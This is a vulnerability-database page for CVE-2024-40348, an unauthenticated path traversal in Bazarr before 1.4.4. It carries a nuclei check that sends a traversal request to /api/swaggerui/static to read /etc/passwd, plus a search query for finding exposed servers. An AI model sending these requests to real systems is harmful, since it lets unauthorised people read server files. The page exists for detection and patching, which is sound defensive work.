HexBrain

Browse / CVEs / CVE-2024-40348

CVE-2024-40348· morpheus65535 / bazarr· CWE-22

Bazarr < 1.4.3 - Arbitrary File Read

highseverity
8.2CVSS score
8.2%likelihood of exploitation, next 30 days
95%of all CVEs are less likely
Readycheck to confirm it

Bazarr 1.4.3 and earlier versions have a arbitrary file read vulnerability.

Impact

Unauthenticated attackers can read arbitrary files from the Bazarr server via path traversal.

Fix

Update Bazarr to version 1.4.4 or later.

How to confirm it

Send: GET {{BaseURL}}/login
Positive when: contains "<title>Bazarr</title>" or "content=\"Bazarr" or "window.Bazarr"
Send: GET {{BaseURL}}/api/swaggerui/static/../../../../../../../../../../../../../../../../etc/passwd
Positive when: matches /root:.*:0:0:/ AND contains in header "application/octet-stream" AND status 200

Run it with nuclei: nuclei -id CVE-2024-40348 -u <target>

The full check
id: CVE-2024-40348

info:
  name: Bazarr < 1.4.3 - Arbitrary File Read
  author: s4e-io
  severity: high
  description: |
    Bazarr 1.4.3 and earlier versions have a arbitrary file read vulnerability.
  impact: |
    Unauthenticated attackers can read arbitrary files from the Bazarr server via path traversal.
  remediation: |
    Update Bazarr to version 1.4.4 or later.
  reference:
    - https://github.com/4rdr/proofs/blob/main/info/Bazaar_1.4.3_File_Traversal_via_Filename.md
    - https://www.bazarr.media/
    - https://github.com/bigb0x/CVE-2024-40348
  classification:
    cve-id: CVE-2024-40348
    cwe-id: CWE-22
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:L
    cvss-score: 8.2
    epss-score: 0.08223
    epss-percentile: 0.94933
    cpe: cpe:2.3:a:bazarr:bazarr:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: morpheus65535
    product: bazarr
    fofa-query: title=="Bazarr" && icon_hash="-1983413099"
  tags: cve,cve2024,bazarr,lfi,vuln

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}/login"

    matchers:
      - type: word
        part: body
        words:
          - "<title>Bazarr</title>"
          - 'content="Bazarr'
          - "window.Bazarr"
        condition: or
        internal: true

  - method: GET
    path:
      - "{{BaseURL}}/api/swaggerui/static/../../../../../../../../../../../../../../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: word
        part: header
        words:
          - "application/octet-stream"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from